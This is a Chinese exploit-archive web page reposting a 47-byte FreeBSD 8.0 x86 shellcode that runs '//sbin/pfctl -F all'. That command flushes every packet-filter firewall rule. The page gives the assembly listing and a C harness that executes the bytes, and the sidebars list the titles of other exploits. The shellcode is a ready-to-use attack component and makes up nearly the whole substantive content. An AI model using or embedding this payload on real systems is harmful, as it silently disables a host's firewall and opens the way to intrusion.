首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeBSD 8.0-RELEASE/x86 //sbin/pfctl -F all Shellcode 47 Bytes
来源:vfocus.net 作者:antrhacks 发布时间:2010-05-17  
==============================================================
FreeBSD 8.0-RELEASE/x86 //sbin/pfctl -F all Shellcode 47 Bytes
==============================================================


/*
* Title: FreeBSD 8.0-RELEASE/x86 '//sbin/pfctl -F all Shellcode 47 Bytes'
* Type: Shellcode
* Author: antrhacks
* Platform: FreeBSD 8.0-RELEASE
*/

/* ASSembly
31 c0                xor    %eax,%eax
50                   push   %eax
68 2d 46 61 6c       push   $0x6c61462d
89 e1                mov    %esp,%ecx
50                   push   %eax
68 66 63 74 6c       push   $0x6c746366
68 69 6e 2f 70       push   $0x702f6e69
68 2f 2f 73 62       push   $0x62732f2f
89 e3                mov    %esp,%ebx
50                   push   %eax
51                   push   %ecx
53                   push   %ebx
89 e1                mov    %esp,%ecx
50                   push   %eax
51                   push   %ecx
53                   push   %ebx
b0 3b                mov    $0x3b,%al
50                   push   %eax
cd 80                int    $0x80
31 c0                xor    %eax,%eax
50                   push   %eax
50                   push   %eax
cd 80                int    $0x80
*/


#include <stdio.h>

int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2d\x46\x61\x6c\x89\xe1\x50\x68\x66\x63\x74\x6c"
"\x68\x69\x6e\x2f\x70\x68\x2f\x2f\x73\x62\x89\xe3\x50\x51\x53"
"\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80\x31\xc0\x50\x50\xcd\x80";

printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );

(*(void (*)())shellcode)();

return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·win32/xp sp2 Fr Download and E
·Firefox 3.6.3 & Safari 4.0.5 -
·linux/x86 pwrite("/etc/shadow"
·SmallFTPD FTP Server v1.0.3 DE
·TYPSoft FTP Server v1.10 RETR
·Samba Multiple DoS Vulnerabili
·IncrediMail (ImShExtU.dll) Act
·WFTPD Server 3.30 Multiple rem
·Shellzip v3.0 Beta 3 (.zip) 0d
·Invision Power Board Multiple
·ECShop <= v2.6.2 SQL injection
·ECShop <= v2.7.2 SQL injection
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved